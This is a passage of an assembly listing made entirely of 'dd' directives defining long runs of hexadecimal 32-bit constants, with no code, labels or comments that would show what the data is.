		dd 0D16B2FEDh, 3EFBBB58h, 0E2002C7Ah, 8B054816h, 4F129A61h
		dd 0F420C180h, 6302A1h,	0ABF9ED71h, 0F6A8BD3Ah,	6C006FB0h
		dd 60DBB12Ch, 9C978638h, 76A73CA4h, 2D3A0C44h, 955840CEh
		dd 0B0FA48A7h, 46D63F4Fh, 85951B28h, 9D907600h,	48601F6Ch
		dd 0FFD10052h, 3785E777h, 0D03807F2h, 3DA00B46h, 59C8427Ch
		dd 957704A8h, 0D228F561h, 69700229h, 999B027Fh,	0FAF6C07Eh
		dd 7F344816h, 906CC05Ah, 34B65F5h, 5DEE2C44h, 8CC36300h
		dd 0A08882D5h, 153E0952h, 2CE9182Ah, 81B710AAh,	91864B19h
		dd 20345A14h, 20160DACh, 0D0F412EAh, 96F89C6Eh,	99642071h
		dd 0FD0249C6h, 66822605h, 7EDCE94Ah, 0EC245FE6h, 8D0944E1h
		dd 0D2753CE2h, 7506FD9h, 0F29FD49Ch, 0E83E3C73h, 5F5621F5h
		dd 880C8F83h, 9931C007h, 0E401B872h, 378A7A9Fh,	43B6DA1h
		dd 0B9C23C00h, 5E1C0024h, 41C3D157h, 0CB752Eh, 863A3796h
		dd 8ED30F46h, 16DD781Ch, 0F3F4042Fh, 15893541h,	33508074h
		dd 7AD03FA4h, 0EFA10513h, 9BD4E1D2h, 0EA9D87F4h, 685805C9h
		dd 0CC611483h, 0B0805B0Bh, 0A456C862h, 0B6F5E9C2h, 40F495h
		dd 0FBBD13D0h, 0E6783D9Dh, 0A2430C98h, 0DD3005F2h, 0B3020030h
		dd 0C7614CF7h, 2C0018BEh, 0B97ADA4Fh, 5FAD4991h, 7AE084E6h
		dd 0CC7B7B34h, 0E4858613h, 4AFD834h, 5707574h, 10A4BB43h
		dd 0D53B01C9h, 405B0831h, 3419DD8Ah, 41184D58h,	0E08106C2h
		dd 21CA006Dh, 20359632h, 8F094DC5h, 10CDA1Dh, 0B989BDB0h
		dd 0AAE4E053h, 584CDBD5h, 0DA028D7Dh, 6F129F72h, 0B7E0C49Dh
		dd 65EB5441h, 0C46E2F08h, 0B0D8B707h, 0A783CBD7h, 0C7C8449Fh
		dd 10904EEFh, 583E6513h, 713DCC8h, 51DDB99Dh, 7EC41BEh
		dd 0ECC22A4Bh, 9C408B8h, 207476E6h, 0D82EB440h,	384A0F81h
		dd 0BE80AA28h, 0CC48C5D2h, 7E1D2Dh, 0BF6EFB68h,	0ED775C8h
		dd 0A774D3AFh, 281AF7C0h, 9C048662h, 0FAE5A554h, 0F86EAAh
		dd 0E34A37Ch, 0F9E0AD79h, 2E98896Fh, 9A7C82h, 19E13A25h
		dd 960F18C2h, 0C5139h, 36B39CFBh, 974B9571h, 0FF8560D1h
		dd 0A4F6E802h, 4009465Eh, 5D004FE7h, 5005D968h,	31630ED0h
		dd 0CF1A1AE8h, 8BB42CF0h, 454C2B3Fh, 60FFE42Ch,	1F16701Fh
		dd 7DAC5FCFh, 1D8A2502h, 4C5AEF2Eh, 285CD20h, 0FB23E463h
		dd 24D99762h, 2C0DC31Dh, 0C82A312Ah, 0B800D950h, 9FDA133Ah
		dd 4DAB24h, 0EE616687h,	0C0AC58F0h, 10A3DD17h, 0F4716021h
		dd 0C20E0A10h, 0BCD1184Fh, 520C7E8Dh, 44E240h, 0AE5DE761h
		dd 0A8E6A92Ch, 0D396D001h, 320CE342h, 8510003Eh, 0BEFCF205h
		dd 4A84C49Dh, 8828CB69h, 0E96BC217h, 3F8018FCh,	93F12750h
		dd 90A10025h, 0B381C2E2h, 4406C67Eh, 0B855EC67h, 0FD53071h
		dd 82BF6F49h, 8FCBE200h, 71AE4F9Fh, 0B5EB1319h,	4E8CA8E5h
		dd 0ED80989Bh, 18D5651Eh, 3EC69C7h, 0C3F3A6C0h,	5B0C0014h
		dd 39317804h, 580AA85Ch, 0ECC02AB1h, 2CF96965h,	8E1C63ACh
		dd 0B86879D1h, 350C00A4h, 58A04581h, 0F86159EAh, 0C25ED001h
		dd 21E03F98h, 5C417EACh, 11552381h, 9910203Dh, 42718691h
		dd 65C4CBD1h, 80BBC4F9h, 88F3564Bh, 136C7312h, 4FF16DCFh
		dd 0F0C43308h, 88BC8E9Bh, 44EE008h, 0EC0A829Ch,	0D06220D4h
		dd 0BAB6508h, 7CD4328Eh, 69133C40h, 943F18DFh, 0AFEDD86Fh
		dd 0EC3A2180h, 61E68134h, 0F250632Ch, 631A30ABh, 0D9BCB50Bh
		dd 48086420h, 388050D5h, 1F62E504h, 0D89A58h, 12BF993Ah
		dd 21C9160h, 0A1F2DC5Ah, 0A041A3F7h, 75F182FDh,	0E99BE18Dh
		dd 3710CCACh, 6A950D79h, 0FBEC1AF8h, 8B857018h,	0FD719D3Bh
		dd 22E4CD0Eh, 0ED011156h, 0CE12163Eh, 418BC8C3h, 96DFD600h
		dd 8FF7A842h, 897E12C9h, 4F70B933h, 0E5811433h,	3E13F8ADh
		dd 21B8F4E9h, 0B03CA11Eh, 2D4D0A00h, 12855301h,	0ED17C351h
		dd 0D8AB0088h, 9D79EA62h, 0D12EE9B6h, 5AB520h, 779EA6h
		dd 0E42F623Dh, 0DAD3F38Eh, 7535F702h, 7546E1CAh, 0C621CB0h
		dd 9D322013h, 101FE8E0h, 25BF0ACAh, 26884992h, 7D688114h
		dd 0B9461183h, 32D4342Fh, 90DE751Ch, 4646E08h, 81B646E2h
		dd 0F13E94h, 5AFCCB98h,	33842090h, 0F6288071h, 0E93CE0B6h
		dd 58D00C31h, 9D3B11BAh, 0E1166844h, 88D8904Dh,	2E79203Ah
		dd 71B8988Bh, 81D2AE29h, 0D1898F9h, 993571D7h, 0B0A50925h
		dd 98B2D848h, 204BFDF4h, 0EF1FD09h, 1A118A1h, 5C10782h
		dd 1881FCB6h, 9EA8AE8Dh, 0D1F088C0h, 0CC920098h, 75D568FBh
		dd 10611E5Eh, 130A32B5h, 44E6D4D7h, 0CCDA71B1h,	3609025Ch
		dd 0D68515A9h, 0FE4676A8h, 1FD68100h, 0D7F6407Ch, 719BB02h
		dd 0F0D92220h, 8CA8514Ch, 0FCEC487Ch, 326018Ch,	8F41B89Dh
		dd 5843ECBEh, 690035F8h, 0D780880Ah, 0F952E8h, 0CB93236Eh
		dd 33E237E5h, 9CC020C0h, 20D11Fh, 89F06EA8h, 6354DE35h
		dd 5725B0E8h, 94FAD0h, 0B6DCEF55h, 99E46FF1h, 3FE6C900h
		dd 4B467898h, 58925Bh, 44AD34B1h, 0C945E031h, 0B8BAD82Ch
		dd 7C154676h, 0BE193605h, 64E055A1h, 761E122Ah,	0AD1C40FBh
		dd 0F0A088E9h, 746CE59Fh, 3C616A24h, 87F3F0Ch, 0F3A93CD1h
		dd 6843172Dh, 10108AEBh, 2C1818E4h, 83D00879h, 80538680h
		dd 3D80844Ch, 90678066h, 348B38C4h, 10A70106h, 314D4320h
		dd 0F6081EEFh, 1A42013Bh, 1035C01h, 26012920h, 4E21903Ch
		dd 10287110h, 57106835h, 97D71815h, 81678760h, 0A029BE8Fh
		dd 0C0ED2059h, 885FC31h, 0EC01381Ah, 3149906Dh,	0E5042916h
		dd 0FA0888A0h, 8C99157Ah, 3198CC2Ah, 0C71088D3h, 1D53016Bh
		dd 55110888h, 186C9508h, 0B8FE914Bh, 0AC7430C6h, 6AEC2A08h
		dd 0CAE9C4BCh, 0A48C0A21h, 10A05C95h, 0A3191FBFh, 517C086Eh
		dd 8CA007C8h, 1835A608h, 85B66EBh, 0CE66E118h, 31113D21h
		dd 408179Ch, 0B2A4014Bh, 3169852h, 1010B0F6h, 6B196272h
		dd 88730837h, 268EA591h, 660831C0h, 0E7188C7Eh,	4003080Ah
		dd 20407D63h, 97F9C5E1h
		dd 11149249h, 4092C8A6h, 0A3DC8054h, 39086463h,	0A81810BFh
		dd 72E0101Ah, 869FF19h,	0B398531Eh, 2E509910h, 11C3D71Bh
		dd 80F16910h, 8367C19h,	0A9F45215h, 1B4C90A2h, 85CAE07h
		dd 789162ACh, 2E03197Ah, 0A41010B7h, 0B7B1814h,	834E0F08h
		dd 2F03539Ah, 0CE281094h, 4A1A1071h, 18AE8718h,	438008E7h
		dd 8ADE813Ah, 0BCBA28B1h, 70227690h, 2057DE20h,	0DD547CAAh
		dd 749CBF4h, 10953198h,	85016C9Eh, 960898C5h, 8175A751h
		dd 4406D63Eh, 2462A61h,	5F59CCC8h, 0C240E9D9h, 0C22841AFh
		dd 8D11CCA3h, 47960815h, 208520B8h, 7D203FE8h, 8FC1312Fh
		dd 34A56A28h, 66815D18h, 406F3024h, 1D4085A4h, 88663AEh
		dd 3920B564h, 770B2093h, 640DB120h, 936C21ADh, 0E9311E20h
		dd 25EF61D6h, 8D417801h, 91550C08h, 39E27198h, 480104Dh
		dd 33308005h, 80293280h, 9B81267Ah, 0C320D451h,	44486002h
		dd 0DC803B02h, 0C810C4A2h, 1C3C0681h, 0EA233849h, 338020DCh
		dd 1566DB3Eh, 760CB95Ch, 7EB33D0Ch, 201010h, 0E861945Ch
		dd 4B75ACBFh, 93077F16h, 80D7A449h, 227BFC30h, 1DB57162h
		dd 8034CB75h, 0CC357706h, 44BFC2E7h, 0A31F3C68h, 539DB003h
		dd 0AED8CB83h, 81F905C1h, 7F23520h, 0CD37B1Ah, 54BAD531h
		dd 0B5306BA8h, 0BB21B0FEh, 67A2F012h, 83A311E7h, 4FFCAAEAh
		dd 85800ABh, 8A3D15h, 39B837B1h, 0E93ED930h, 28C13370h
		dd 0F376670Dh, 7B3C1F0h, 1A340352h, 0E03174B2h,	0BE039F7Ch
		dd 779C8DE3h, 0D5E99016h, 0BF060789h, 0C77ED1EEh, 0B162A38Ah
		dd 29C1500Ch, 638B8EBh,	0CBC2071Ah, 0E2031016h,	49C1A5EDh
		dd 0EB580691h, 4848B6D5h, 0C0B5330Bh, 0C8548C22h, 0BAD60B68h
		dd 0A4E0B956h, 9C05A68Ah, 7D19C875h, 20C88C26h,	993B986Dh
		dd 30A500C3h, 941F22FAh, 44122B8Bh, 0EDAD07A4h,	34A72097h
		dd 4300B741h, 0CF7EAEDBh, 14816BE8h, 0C8070386h, 8C1C306h
		dd 0D818A84Bh, 75407368h, 57770C36h, 0CA116DC7h, 0FB5EC118h
		dd 18C64960h, 90F5D7E9h, 0C8A0B31Fh, 0D0819B41h, 5720903Bh
		dd 40C17766h, 0BCC5A154h, 0BD61D0h, 196C3135h, 3C70857Ah
		dd 24B13E00h, 0E915D9C4h, 281DE834h, 28EC1FD2h,	728D662h
		dd 0FAA454EAh, 0B3DB40FBh, 0EC00BDD9h, 6CCC483Bh, 28D550E9h
		dd 28B442BFh, 41CDD62h,	0C1E6B13Dh, 3F08A00Ah, 0B026D700h
		dd 0B629ABBEh, 4B632E56h, 0E9420590h, 85CCD0CEh, 0E067726h
		dd 0E62A5692h, 8CEB51C8h, 55C25C50h, 8550C242h,	14403B3Ah
		dd 5F0CD7E3h, 30830957h, 163C00A7h, 0B7A14232h,	0EE3E6DBAh
		dd 0C06C489Dh, 3EEB569Bh, 7D991974h, 0C33D9146h, 6A434000h
		dd 7061E5DAh, 0A9E830C1h, 1E75E470h, 59D8770Ah,	0C0A8D06Bh
		dd 97983D61h, 18D12A35h, 52620820h, 3F1B84DBh, 3CC0C9B3h
		dd 4D6079C2h, 8FE9BF50h, 6D9C134Eh, 67A090A6h, 28928A57h
		dd 7C975612h, 0E4C15070h, 6440DD53h, 76D8A068h,	0D55A0C56h
		dd 403078A8h, 486F9B00h, 6E170857h, 809C03F7h, 74950ACFh
		dd 0F85DEFC1h, 14926F71h, 9C9E8F02h, 802942D5h,	0D6E332E4h
		dd 0D02650C8h, 76FE2475h, 0AC560F1Bh, 0C1BB0D21h, 37283462h
		dd 6A070200h, 793FBDD8h, 61451EC8h, 4752C9h, 2E6DEE72h
		dd 2C3B9A77h, 0E63C0Fh,	0F8027CA8h, 547DC255h, 84DB94F4h
		dd 4A8C8C50h, 0E423E910h, 4834D100h, 0B561440h,	0D9EDC0A8h
		dd 0A9EA3214h, 0C12A041Ch, 24C073E2h, 926CA157h, 9BF400CCh
		dd 15C9E43Fh, 0A2001CE0h, 0DC6DBBBCh, 1D49D3A3h, 87511A03h
		dd 0C0FD8C4Dh, 0F62A34CCh, 0A50285EEh, 9769FC40h, 0EE5CC0DEh
		dd 0C2520C04h, 0A0B82295h, 813AB13Ah, 12D5E459h, 8420CA7Ah
		dd 0B23E041Eh, 82D66EE1h, 0F0A030B0h, 0D761CF37h, 0A0BDD891h
		dd 0C2AE0063h, 0E993B49Ch, 20C0DBFBh, 0BD5EF2Fh, 8ACCA01Fh
		dd 6F9C1D76h, 46BC04E6h, 9D1C88E5h, 0F034A2B5h,	0AA08D0EBh
		dd 81F8459Ch, 56B88940h, 0F089FA53h, 7706002Fh,	1D3A2095h
		dd 9704CEBh, 0A03593EAh, 0DE527130h, 0B03F0072h, 37B5CC2h
		dd 0BD02D656h, 49790F12h, 0BA3860C9h, 0DD610E31h, 84EE788Fh
		dd 0DFE9D881h, 89489E7Fh, 8C9A93E8h, 51FCE44Ch,	2382318h
		dd 0A98656EDh, 4778B1C0h, 13D89C58h, 31934CE2h,	804EB79Ch
		dd 18EAED10h, 5299F7Eh,	0F6D5DE7Ch, 12709488h, 98A03498h
		dd 0BB49BF74h, 0C86F2484h, 0E843DC28h, 20F13A12h, 160B65E8h
		dd 0CB2A0A01h, 6AA575E0h, 76ADB9F0h, 58480180h,	0F5409DD1h
		dd 61C0DC0Eh, 0BE1FD87Ch, 0C102D0A0h, 44CF09E9h, 936920F8h
		dd 3D26437Ch, 708154DDh, 9F516A45h, 9A005C36h, 0A63F0E95h
		dd 0E0F71119h, 4B1E708Bh, 9640E9E3h, 5127EB5Fh,	0B4FC0FD1h
		dd 0BE4F1061h, 0A420D3C9h, 0DFD56899h, 4B3EB0B2h, 7533808Eh
		dd 88B03E43h, 1CE07860h, 0A83DD8E1h, 0CAE91808h, 501940F1h
		dd 10C66601h, 534FD54Eh, 0EB4AAC50h, 34261201h,	5EF840E8h
		dd 0E57F8C3Ah, 0B809A7F0h, 22F74F3h, 825734h, 3F9AE9ADh
		dd 6E05B504h, 1CC14613h, 7FD4E684h, 39BB0B37h, 802F8C3Bh
		dd 0B082FA09h, 886BF253h, 8C098024h, 4D55D982h,	49004033h
		dd 38EB30E9h, 16717DB1h, 3CE47226h, 4DCA6902h, 3AE0C91Bh
		dd 351C2419h, 3D0507F8h, 17CAA4B0h, 8B563842h, 244C4676h
		dd 4128993Dh, 643909C1h, 6D3A204Ch, 0E0D58BB6h,	0C18C2027h
		dd 7A4288h, 7BAD3F8Bh, 403EE645h, 0B490B4F6h, 1B1DE20h
		dd 0B60C76CFh, 6BB55773h, 39542800h, 98776883h,	0B23F26C4h
		dd 1A514178h, 13E47353h, 400CE87h, 1155E9E2h, 4118C37Fh
		dd 0A5D83656h, 50003D4Ah, 82D9621Fh, 4DF1285h, 0E8E9B9BDh
		dd 0B44897FFh, 0A05B878Ah, 5796EFADh, 0A4649026h, 0DC3F9740h
		dd 0F8D6009Eh, 0E1C98AFBh, 0C114CEEDh, 808552h,	0DB1E3108h
		dd 5E19E5h, 361A739Dh, 2EE788DFh, 46799A02h, 46D1A56Ah
		dd 0D058006Ch, 489828D8h, 0CA28D5ECh, 3A0C9C15h, 0E0FF04C2h
		dd 15CB0E8h, 3FC69EE7h,	70BA0B6Ah, 2F80BC1Ch, 54445CFEh
		dd 48F7EB00h, 0FDF0491Ah, 40DDBB27h, 0CFB4A2h, 0D659196Fh
		dd 0ADAA03E1h, 0F297EC18h, 29BF620h, 4FA24395h,	0C0D82BD5h
		dd 18DF6203h, 0B89C6702h, 0E3344A8h, 0E7E1B687h, 47F82CBFh
		dd 0FF82A92Ah, 0F8AE0383h, 198E972h, 2F070A39h,	0D6D01A36h
		dd 0B5F20B56h, 0C07B770h, 5004897h, 633B3DE8h, 2CB900D8h
		dd 0E946F82Eh, 2995DE64h, 3BE4014Ch, 57002056h,	0E09A3F49h
		dd 0BE32DD12h, 6DDCF800h, 907AACF0h, 95CC5AC4h,	86642180h
		dd 2010629Ch, 5B571B77h, 6C3481Ch, 65091014h, 0C8A800F8h
		dd 0E961FD6Bh, 0A40EBF17h, 0F0625CADh, 0FE0230CCh, 0E1487099h
		dd 9234C5AAh, 0D2EC8447h, 0AC68E544h, 0E609DA3Dh, 40315FC1h
		dd 0B901D580h, 172DAC34h, 0AA80806h, 0E0969442h, 60A36C08h
		dd 55EF6815h, 7780D97Dh, 0BF8C93E6h, 0D5592201h, 62BF0E70h
		dd 6F327834h, 602B2079h, 830D2C18h, 4896A7D9h, 475456D4h
		dd 0E9394180h, 244DFEh,	6B05137Ch, 0A343C9h, 4DE7E682h
		dd 72D1781Ah, 6D3C8CFCh, 0B2F18FEBh, 56488150h,	0ADF15374h
		dd 0C671A1F1h, 0F015F434h, 0C8386134h, 284CACC2h, 3FC90108h
		dd 0F0F87A1Ah, 33D52760h, 8BB06876h, 0C9ECE7B8h, 0F655D203h
		dd 0F8F20EAh, 0F0303698h, 0EB479E03h, 0BF5CA805h, 249290E9h
		dd 22B0491Fh, 19D41F0h,	574AB754h, 70F151DAh, 2901FA54h
		dd 0D5F052FBh, 70825E8Eh
		dd 0DCC3B3Ah, 5C89BC6Ah, 3DD794B0h, 9AF4C218h, 330BCB8h
		dd 0D59D0C57h, 40278033h, 0B7098763h, 0AB4E56F2h, 9D9E00CCh
		dd 0A1437857h, 77C41FBCh, 1C04B0E4h, 6441D897h,	0E9F04h
		dd 0C255CD37h, 68C04709h, 1A43E897h, 3E9F007Dh,	0D8E3BCE9h
		dd 0D5055D19h, 38DCAA41h, 0EB4B480h, 9FA601DEh,	519E40BEh
		dd 97A4CC13h, 0F48B049h, 0FCEE85D5h, 10968A8Ch,	143248F9h
		dd 0E5E0E200h, 73C2583Dh, 3F788E63h, 18C144DAh,	0AF4D406Bh
		dd 56688209h, 0C224CAAAh, 97FCC020h, 8FB13038h,	0C9E93F30h
		dd 600EE4B2h, 42A1C049h, 0C0F0ADBBh, 0E47D880h,	0E9B629A7h
		dd 62281E0Ch, 0C420800h, 9CF1AB88h, 59010992h, 0C03BAA1h
		dd 713FAA53h, 4342164Eh, 0C07E8C23h, 64483A9h, 1DEA09FBh
		dd 3A00500Dh, 4EEBFCB9h, 0C55CCC57h, 0C030F4D1h, 70127168h
		dd 0E3623300h, 85F36F02h, 14E67EC0h, 845EBAC2h,	72A3705h
		dd 47E0C222h, 0FDE36CC9h, 5D5420E6h, 78BE6880h,	8B8C32BBh
		dd 94C09010h, 11598056h, 1B4048D4h, 0C36034D5h,	85BEAA3Dh
		dd 4CD282D4h, 8000595Bh, 0D604D762h, 0AC9A0A8Dh, 0A57AC800h
		dd 0C39E08CAh, 327624E9h, 635180D0h, 75E66BF7h,	7E33F102h
		dd 0BB6A0CD5h, 0A1904BE0h, 0CA0793Ch, 2060F657h, 12BD07E4h
		dd 60DDF74Ah, 19DEA4ECh, 62794903h, 986ED1CCh, 79E1B7BCh
		dd 0AC934DE9h, 530B5048h, 80708BC2h, 0E0957092h, 1C4DE414h
		dd 58EAF29Bh, 836D3023h, 0CA1A7901h, 815D545h, 0C256D882h
		dd 0B48E6740h, 3D4FE483h, 0FF43D5D8h, 56855491h, 64456884h
		dd 40C99A3Eh, 0E4B4402Ah, 1A2608CFh, 87B00097h,	306E6A05h
		dd 6C10FC99h, 20001F82h, 77EDD316h, 2CD5B876h, 80B83E81h
		dd 83431986h, 0A300936Ch, 0EDCA5829h, 2099DD3h,	564D2815h
		dd 988975E9h, 88D52490h, 0C56241C0h, 59995850h,	6E04085Ah
		dd 0F26149ECh, 4F573F0Ch, 36735005h, 6466B8C9h,	37B4014Bh
		dd 5070E9D3h, 545072D4h, 2AFC8F5Dh, 3B008CC7h, 12DF4A1Ah
		dd 0EABE373h, 405799A9h, 4046D047h, 0CB8F61DAh,	0F1F80290h
		dd 0B7BBA205h, 6F80DB6Dh, 824B5Ch, 0D6554951h, 858C1AFFh
		dd 0D9268600h, 0F7D55E69h, 52D8C14Ah, 647FC1C2h, 18924B58h
		dd 1C3ED51Ah, 6287820h,	0BCC1BB16h, 0DA262864h,	0EB016477h
		dd 3AA7E942h, 8B93C882h, 14629012h, 84274C73h, 994179B0h
		dd 248B4869h, 0E49A6C84h, 5F225317h, 0A2BF7400h, 64FAD8h
		dd 0BCA1C449h, 0E7E940BAh, 908FD49h, 80067354h,	0A4EF6D0Fh
		dd 247C095Ah, 0CCD0E1C2h, 404E64Eh, 9088B03Eh, 0D4C62DEAh
		dd 699F010h, 312BBB02h,	61C84959h, 0A030B75Ch, 7C47EB8Dh
		dd 0C89AEF82h, 5B33EBACh, 0C430770Ah, 0C4881475h, 0CB059955h
		dd 0C1C4C461h, 0AC9D90h, 16CD8A3Dh, 9220356h, 0B452F108h
		dd 0D4922E4Eh, 3F88831Bh, 0EAA81722h, 1EC0F0E2h, 1D40F0B4h
		dd 268E30D3h, 134C61AFh, 0D158C8EEh, 0ED1180EBh, 7F7A72A7h
		dd 0B0E21E0Dh, 64E4h, 3B6BB308h, 0C204ADB4h, 247939Dh
		dd 0DF404783h, 0A0732092h, 483FF1F4h, 0DD191ED9h, 0BBED0075h
		dd 0FEECBA3Ch, 540EEAE8h, 8FCC2E9Dh, 77D9A729h,	0B23D427Eh
		dd 1ECE2E8h, 0D1376E98h, 0C84C9426h, 56634070h,	5E51D600h
		dd 0D97E443Ch, 4A190FE7h, 0B2E0CD05h, 5634F0EDh, 21E43E41h
		dd 8642001Bh, 55DC8A09h, 18C05B73h, 9C6E8954h, 72C212A3h
		dd 10A81AC3h, 0D898CCC0h, 0A004BE4Eh, 0D0D030D5h, 676BC1AFh
		dd 0C2E7582Eh, 78400F16h, 9A07E845h, 71C17F12h,	0A5EDB0FDh
		dd 0D9102423h, 7D3A000Ch, 57A3503Dh, 4785D11h, 889DEF12h
		dd 0C8E9228Ch, 0CC4C6D59h, 6479C968h, 11490CCh,	76E715E4h
		dd 81A3D524h, 0CC4CE689h, 0EC6C4D0Eh, 2E3421D6h, 7640828Bh
		dd 0E0492FF7h, 0C495DE8Ch, 45EDBC61h, 64BC69D5h, 0B320450Dh
		dd 0C3184548h, 4F8D5748h, 2F600EA0h, 12E6D17Fh,	0E7F37A00h
		dd 2ED6BFC9h, 1616F4CAh, 0A175C1A8h, 252C4414h,	6D2C4488h
		dd 1BF888F0h, 909A5C90h, 7716750Ah, 0C097B4D8h,	68CC8485h
		dd 2EA4B02h, 0D0376938h, 149074E2h, 754BD5E9h, 1A200A0h
		dd 0DB41B7BDh, 0D0499CADh, 0C90B48B4h, 0A0C0C257h, 776493E8h
		dd 0D5F21372h, 3D7045B7h, 0C3B8371Ah, 784C60AAh, 4FC300C0h
		dd 0AF3FA5F1h, 0A40900B5h, 0E4B1E1BDh, 0EE20E943h, 57680A13h
		dd 8A945FA1h, 1FC231D0h, 37EC250h, 0BCA7A7EAh, 3478CC3Ch
		dd 0CC266281h, 0B5940850h, 302FF081h, 12C828F2h, 6056F789h
		dd 2769A831h, 0B810A03Dh, 0F1F01E4h, 7FA8F77h, 0E11AAC39h
		dd 0C800A1EEh, 6A8448A9h, 0B2DFE913h, 45717441h, 107CCB89h
		dd 9C95C209h, 89DF4A1h,	22F46D93h, 0A4209E3Fh, 0AC382AE4h
		dd 7257EC5Ch, 53934A3Fh, 0D25C8078h, 0C6784903h, 0E6D57F00h
		dd 62F055D9h, 7DDB07C1h, 70BB92FBh, 0F1E8266Ah,	0D647A602h
		dd 0FC3CE952h, 8C87092Ch, 84101812h, 22E1CD5h, 0A549BCBFh
		dd 0E424819Ch, 7B336487h, 3DD0005Ah, 7C19E1D7h,	1C0313A8h
		dd 9CEFAD8Ah, 0C1E8E07Fh, 2841604Bh, 60993DEAh,	90C2AE68h
		dd 0F9C46187h, 363FD100h, 8E919E3h, 506298CBh, 0DA98998Ch
		dd 3E0234E0h, 547AE8DCh, 48946108h, 25D83864h, 0F49025EBh
		dd 0E90BCF37h, 10EF026Fh, 548AEA8Ch, 4403B0E4h,	0F8027513h
		dd 16CFD733h, 1710E693h, 818A89C3h, 0F2EF3484h,	63C6D3C0h
		dd 0BC61E25Eh, 3422C362h, 3E3D570Ch, 0E9194C48h, 2E180F4Fh
		dd 0C29C803Ah, 28D8E0D9h, 1D250A11h, 4331D476h,	12C8E9C5h
		dd 3F303000h, 7D9351D7h, 0B030B33Eh, 0D5EC3D38h, 54FB0D2Eh
		dd 66D7B8Fh, 2D905A36h,	20339694h, 7C40F4AAh, 410AE431h
		dd 849F72E9h, 4C269B9Fh, 4204EA47h, 58AAACD0h, 69C91E2h
		dd 80E517C2h, 931A3427h, 0A8EDE04Ch, 0EC7100E2h, 1EB8621Fh
		dd 80B58FF7h, 13B05826h, 0EA2916A6h, 674C5DE4h,	6CC606C2h
		dd 249E19F0h, 4C133900h, 2DF6E727h, 0BC405C55h,	18BCDB0Dh
		dd 0A2794418h, 1DB43ABAh, 4CED6C00h, 4019C23Ch,	11B1CCA8h
		dd 29AD9A00h, 7CACD62h,	0D9F0EBA4h, 8F190FF3h, 4B4BE9B8h
		dd 5016E806h, 0A0C370A4h, 12694CD8h, 5F934278h,	25641384h
		dd 0EA0C80E0h, 94A29DB7h, 0F2D74885h, 4E784C2Ch, 0B7AF7444h
		dd 5A1931Eh, 0F3DD8E60h, 0C3560988h, 0F9B466A8h, 8110F2D2h
		dd 86C2F894h, 0AC02F0h,	0B852C921h, 0F71A6B10h,	0F04970B4h
		dd 398E00E4h, 614D01B2h, 45051FCCh, 0EC5754B9h,	449C4F0h
		dd 0A056284Ah, 0C0508705h, 987C12CFh, 685DE94Ch, 581E7064h
		dd 55890460h, 16A2DDD5h, 84018813h, 0C6BEE6B8h,	0E7197839h
		dd 0E8A0206Fh, 3D0B2245h, 0B1FD523Bh, 0CFE88488h, 0E03F0073h
		dd 15676AADh, 7E03AFDCh, 5758E6D0h, 0A886FBh, 0B79AEB6Dh
		dd 7019FC63h, 0FF1E7602h, 0E3EDD5B5h, 1A40F849h, 3DBF7450h
		dd 0D48486F4h, 0F04AACC1h, 2D07B674h, 4655CBDEh, 9656CCF0h
		dd 0C035496Bh, 2CF7E110h, 0C000746Fh, 4BE44F53h, 8FBE1436h
		dd 0BF87C0A6h, 0A6928EADh, 20692DA0h, 0E67BE720h, 17309676h
		dd 0B45821E9h, 0E5888238h, 661EDAEDh, 0E33D2534h, 0C7865027h
		dd 0F48B89EFh, 0A8E614CCh, 0E8381095h, 6D524E4h, 5AEA84F4h
		dd 7C5C9150h, 173826F2h, 9031AD3Fh, 3C004465h, 0E9378AEFh
		dd 99F3397Eh, 8E6800DEh, 709A3DD8h, 0F530E948h,	866720C2h
		dd 0C3201DFh, 7757EDF6h, 0C01872B4h, 0F69B0F2Ah, 4C0B0053h
		dd 97619C1Eh, 9F1E0632h
		dd 16577E8h, 0D499E640h, 3ED4306Ah, 0E52E11E2h,	0A03DF835h
		dd 70B42Dh, 9234EB1Dh, 762CA707h, 0E147C48h, 0D8772EC9h
		dd 43098500h, 0F0A51587h, 0D508A051h, 0A47C4863h, 5C2709DEh
		dd 0E082D82Bh, 20410A52h, 0A4A2EACBh, 66024FF6h, 1268C685h
		dd 0E7A31FBBh, 5D50950h, 0BC38E4A6h, 0E5D780E0h, 620F4A78h
		dd 6EE00096h, 14E083h, 0ED6D88D9h, 298ACCA4h, 39521A00h
		dd 75C66E24h, 27347EF0h, 0F88BC3D5h, 0AD7C8800h, 9D01E6B4h
		dd 4E1A3FC5h, 0F4C45CA7h, 19D100E3h, 0E9A9F17Eh, 0CE1C0D75h
		dd 0B1D95631h, 0E7EC45C0h, 0D988C28Ah, 4CC2F257h, 204267C1h
		dd 7B49F183h, 6F0377B0h, 9A323AA7h, 6EF4C162h, 0D411ACh
		dd 4137014Dh, 0DC276747h, 6DA419BCh, 4AE9D4F4h,	8C745704h
		dd 605AC310h, 5A55423h,	0C252EB19h, 24EC36h, 446B6F85h
		dd 24A343A9h, 37A6E1h, 1CE9781Ah, 9C90B8B1h, 0C50096F4h
		dd 3B79C161h, 0A8E5A504h, 0EF4E80h, 1DAF660Bh, 223431CBh
		dd 56C1089Ch, 272E50FEh, 8D5F806Ch, 90620537h, 0E2E93E10h
		dd 0AC7CC808h, 0A7323E12h, 74171F14h, 88842226h, 0A307BE1Dh
		dd 0D1FCB43Ch, 0C6E485Bh, 42F4B7Ah, 44A3CC58h, 0E403DCC9h
		dd 3EA0EF6Fh, 13044BDFh, 0FEE985E7h, 682CA0h, 0B7332D86h
		dd 76A86DBBh, 80F0DD3Ah, 25654D19h, 30D60401h, 3F70C675h
		dd 4B31C58Ah, 53D56ED1h, 0C0400C65h, 1768627Ch,	21AF97A3h
		dd 29775DDCh, 2E8424B0h, 1356C09h, 7152C24Ch, 0A6835030h
		dd 0F73430DCh, 9FC56250h, 7950CDECh, 9140F818h,	54DB003Fh
		dd 0E15E7376h, 0B3513ECBh, 4C043408h, 57B49895h, 0AC609DD8h
		dd 0D200F99Fh, 0C763F653h, 13BB16E1h, 0D0B4562Fh, 65C232F4h
		dd 268CD95Dh, 0A31848D3h, 1F816B48h, 0C9736362h, 0C870DBEDh
		dd 7E406A00h, 0DCD05813h, 61EAF9FFh, 0B864F656h, 9F0105A8h
		dd 0E0E3E9BEh, 0C8B49D54h, 7F23982h, 0B17CE320h, 799621C2h
		dd 80AC843Ch, 8E839DC8h, 5D1A9400h, 96D2B43Fh, 0A2F300FEh
		dd 0DC6DBCC4h, 110529C3h, 72E6C201h, 8A97E4B2h,	27884984h
		dd 942C8023h, 0A842D58Fh, 4B9F31F0h, 0E430029Ch, 4470E6BFh
